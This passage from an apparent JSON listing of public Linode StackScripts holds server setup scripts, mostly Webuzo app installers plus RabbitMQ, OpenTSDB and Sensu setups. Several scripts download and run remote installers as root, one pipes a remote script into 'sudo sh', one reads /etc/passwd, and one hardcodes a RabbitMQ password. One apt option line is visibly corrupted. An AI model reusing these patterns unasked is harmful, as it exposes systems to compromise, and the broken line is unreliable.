>> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Joomla 2.5 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Joomla 2.5 has been successfully installed\"\necho \" \"\necho \"You can now configure Joomla 2.5 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9245, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "ShopSite powered by Webuzo", "description": "ShopSite is the easiest-to-use shopping cart software for small to medium-sized businesses. With our e-commerce software and intuitive interface, you can have a store online in 15 minutes. With our rich feature set you won''t outgrow our catalog software, and you will not need expensive add-ons in order to have a fully functioning cart.\r\n\r\nWith our rich feature set you won''t outgrow our catalog software, and you will not need expensive add-ons in order to have a fully functioning cart. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure ShopSite and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ShopSite powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install ShopSite and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About ShopSite :\n# ShopSite is the easiest-to-use shopping cart software for small to medium-sized businesses.\n# With our e-commerce software and intuitive interface, you can have a store online in 15 minutes.\n# With our rich feature set you won''t outgrow our catalog software, and you will not need expensive \n# add-ons in order to have a fully functioning cart.\n###########################################################################################################\n\n# Install ShopSite Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=410&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling ShopSite and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, ShopSite has been successfully installed\"\necho \" \"\necho \"You can now configure ShopSite and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14365, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "configure-rabbitmq-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Configures RabbitMQ for Sensu\n#\n# Dependencies:\n# - RabbitMQ\n##\nset -eux\n\nrabbitmqctl add_vhost sensu\nrabbitmqctl add_user sensu monit0r\nrabbitmqctl set_permissions -p sensu sensu \".*\" \".*\" \".*\"\nrabbitmqctl set_user_tags sensu administrator", "user_defined_fields": []}, {"id": 978973, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/slackware14.1", "linode/ubuntu20.04", "linode/alpine3.13", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 7198, "username": "kidid", "user_gravatar_id": "0bcff359135eea23d1cc1306ef31b413", "label": "ddad", "description": "fsfgg", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.632bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9246, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "phpLiteAdmin powered by Webuzo", "description": "phpLiteAdmin is a web-based SQLite database admin tool written in PHP with support for SQLite2 and SQLite3. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure phpLiteAdmin and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "phpLiteAdmin powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install phpLiteAdmin and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About phpLiteAdmin :\n# phpLiteAdmin is a web-based SQLite database admin tool written in PHP with support for SQLite2 and SQLite3. \n###########################################################################################################\n\n# Install phpLiteAdmin Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=431&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling phpLiteAdmin and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, phpLiteAdmin has been successfully installed\"\necho \" \"\necho \"You can now configure phpLiteAdmin and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14366, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-opentsdb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs OpenTSDB from source\n#\n# Provides:\n# - HTTP (TCP/4242)\n#\n# Dependencies:\n# - HBase (TCP/9000)\n# - ZooKeeper (TCP/2181)\n##\nset -eux\n\nsource env.sh\n\n# Install dependencies\napt-get install -yq openjdk-7-jre-headless\n\n# Install OpenTSDB\ncd /tmp\n\ncurl -sOL https://github.com/OpenTSDB/opentsdb/releases/download/v${OPENTSDB_VERSION}/opentsdb-${OPENTSDB_VERSION}_all.deb\ndpkg -i opentsdb-${OPENTSDB_VERSION}_all.deb\n\n# Create tables in HBase\nexport HBASE_HOME=/opt/hbase\nexport COMPRESSION=NONE\n\n/usr/share/opentsdb/tools/create_table.sh\n\n# Configure OpenTSDB\ncp $BASE_PATH/etc/opentsdb/opentsdb.conf /etc/opentsdb\n\n# Start OpenTSDB\nservice opentsdb start", "user_defined_fields": []}, {"id": 705310, "username": "dmc3", "user_gravatar_id": "3661544ff6045ff4ba8e4be7ac9c5819", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/debian9"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "test", "script": "#!/bin/bash\n\ncat /etc/passwd", "user_defined_fields": []}, {"id": 8991, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Drupal powered by Webuzo", "description": "Drupal is an open-source platform and content management system for building dynamic web sites offering a broad range of features and services including user administration, publishing workflow, discussion capabilities, news aggregation, metadata functionalities using controlled vocabularies and XML publishing for content sharing purposes.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Drupal and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Drupal powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Drupal and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Drupal :\n# Drupal is an open-source platform and content management system for building dynamic web sites \n# offering a broad range of features and services including user administration, publishing workflow,\n# discussion capabilities, news aggregation, metadata functionalities using controlled vocabularies \n# and XML publishing for content sharing purposes.\n###########################################################################################################\n\n# Install Drupal Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=30&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Drupal and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Drupal has been successfully installed\"\necho \" \"\necho \"You can now configure Drupal and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9247, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "UIkit powered by Webuzo", "description": "UIkit A lightweight and modular front-end framework for developing fast and powerful web interfaces.\r\n\r\nUIkit gives you a comprehensive collection of HTML, CSS, and JS components which is simple to use, easy to customize and extendable.\r\n\r\nUIkit is open source and MIT licensed. It is absolutely free of charge and you can use, copy, merge, publish and distribute the framework without any limitations.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure UIkit and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "UIkit powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install UIkit and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About UIkit :\n# UIkit A lightweight and modular front-end framework for developing fast and powerful web interfaces.\n# UIkit gives you a comprehensive collection of HTML, CSS, and JS components which is simple to use, \n# easy to customize and extendable.\n###########################################################################################################\n\n# Install UIkit Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=471&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling UIkit and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, UIkit has been successfully installed\"\necho \" \"\necho \"You can now configure UIkit and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14367, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu-flapjack", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs the Flapjack handler for Sensu\n#\n# Dependencies:\n# - Redis provided for Flapjack\n# - Sensu server\n##\nset -eux\n\nsource env.sh\n\ncd /tmp\n\ngit clone git://github.com/sensu/sensu-community-plugins.git\ncp sensu-community-plugins/extensions/handlers/flapjack.rb /etc/sensu/extensions/handlers\n\ncp $BASE_PATH/etc/sensu/conf.d/flapjack.json /etc/sensu/conf.d", "user_defined_fields": []}, {"id": 11040, "username": "zhangfan", "user_gravatar_id": "6378c7beab2f878c31ff5c112efbd437", "label": "StackScript", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian6"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!StackScript", "user_defined_fields": []}, {"id": 14368, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-uchiwa", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs Uchiwa, a multi-datacenter dashboard for Sensu\n#\n# Provides:\n# - HTTP (TCP/8010)\n#\n# Dependencies:\n# - Sensu API\n##\nset -eux\n\nsource env.sh\n\n$BASE_PATH/install-sensu.sh\n\napt-get install -yq uchiwa\n\ncp $BASE_PATH/etc/sensu/uchiwa.json /etc/sensu\n\nupdate-rc.d uchiwa defaults\n\nservice uchiwa restart", "user_defined_fields": []}, {"id": 764448, "username": "br01fox", "user_gravatar_id": "aed368e47ef5ba2d07e560d71868f8b5", "label": "Slackware is fun ", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/slackware14.1"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Slackware", "script": "#!/bin/bash\n\nSlackware is fun.", "user_defined_fields": []}, {"id": 8993, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "AbanteCart powered by Webuzo", "description": "Abante Cart is a free PHP based eCommerce solution for merchants to provide ability creating online business and sell products online quick and efficient.\r\n\r\nAbanteCart application is built and supported by experienced enthusiasts that are passionate about their work and contribution to rapidly evolving eCommerce industry.\r\n\r\nAbanteCart is more than just a shopping cart, it is rapidly growing eCommerce platform with many benefits. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure AbanteCart and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "AbanteCart powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install AbanteCart and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About AbanteCart :\n# Abante Cart is a free PHP based eCommerce solution for merchants to provide ability creating online \n# business and sell products online quick and efficient. \n###########################################################################################################\n\n# Install AbanteCart Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=389&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling AbanteCart and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, AbanteCart has been successfully installed\"\necho \" \"\necho \"You can now configure AbanteCart and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9249, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SiteCake powered by Webuzo", "description": "SiteCake is a drag and drop CMS for simple websites. It lets you publish the content just by dragging it to your web page. It''s CMS for static websites, with few pages only, to cover the niche below WordPress level of complexity.\r\n\r\nSiteCake was designed to be simple enough for a designer to integrate it on their own, without a need to hire a developer. SiteCake was designed to be simple enough for a site owner to change some text, swap some photos and add a video on their own, without a need to hire a web editor.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure SiteCake and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SiteCake powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SiteCake and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SiteCake :\n# SiteCake is a drag and drop CMS for simple websites.\n# It lets you publish the content just by dragging it to your web page.\n# It''s CMS for static websites, with few pages only, to cover the niche below WordPress level of complexity.\n###########################################################################################################\n\n# Install SiteCake Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=480&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SiteCake and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SiteCake has been successfully installed\"\necho \" \"\necho \"You can now configure SiteCake and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 8994, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Joomla powered by Webuzo", "description": "Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most popular Web site software available. Best of all, Joomla is an open source solution that is freely available to everyone. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Joomla and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Joomla powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Joomla and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Joomla :\n# Joomla is an award-winning content management system (CMS), which enables you to build Web sites \n# and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made \n# Joomla the most popular Web site software available. Best of all, Joomla is an open source \n# solution that is freely available to everyone.\n###########################################################################################################\n\n# Install Joomla Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=413&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Joomla and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Joomla has been successfully installed\"\necho \" \"\necho \"You can now configure Joomla and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193763, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "Superinsight One-Click", "description": "Superinsight One-Click app", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu22.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/usr/bin/bash\n\n## REQUIRED IN EVERY MARKETPLACE SUBMISSION\n# Add Logging to /var/log/stackscript.log for future troubleshooting\nexec 1> >(tee -a \"/var/log/stackscript.log\") 2>&1\n# System Updates updates\napt-get -o Acquir1234::5678orceIPv4=true update -y\n## END OF REQUIRED CODE FOR MARKETPLACE SUBMISSION\n\n# Install docker\ncurl -fsSL get.docker.com | sudo sh\n\n# Creating Password\necho \"Superinsight setting up password....\"\nADMIN_PASSWORD=$(openssl rand -hex 12)\nNODE_IP=$(hostname -I | cut -f1 -d'' '')\necho \"Downloading and Installing Superinsight instance......\"\n\n# Install Superinsight\ndocker run \\\n--detach \\\n--name superinsight-db-standalone \\\n--restart always \\\n-p 5432:5432 \\\n-v vol-superinsight:/db \\\n-e SUPERINSIGHT_USER=admin \\\n-e SUPERINSIGHT_PASSWORD=\"${ADMIN_PASSWORD}\" \\\nsuperinsight/superinsight-db-standalone:latest\n\n\n# Print instructions\ncat << EOF > /etc/motd\n\n################################################################################################################################################\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSUPERINSIGHT\n################################################################################################################################################\n\nSuperinsight created the user admin with password: 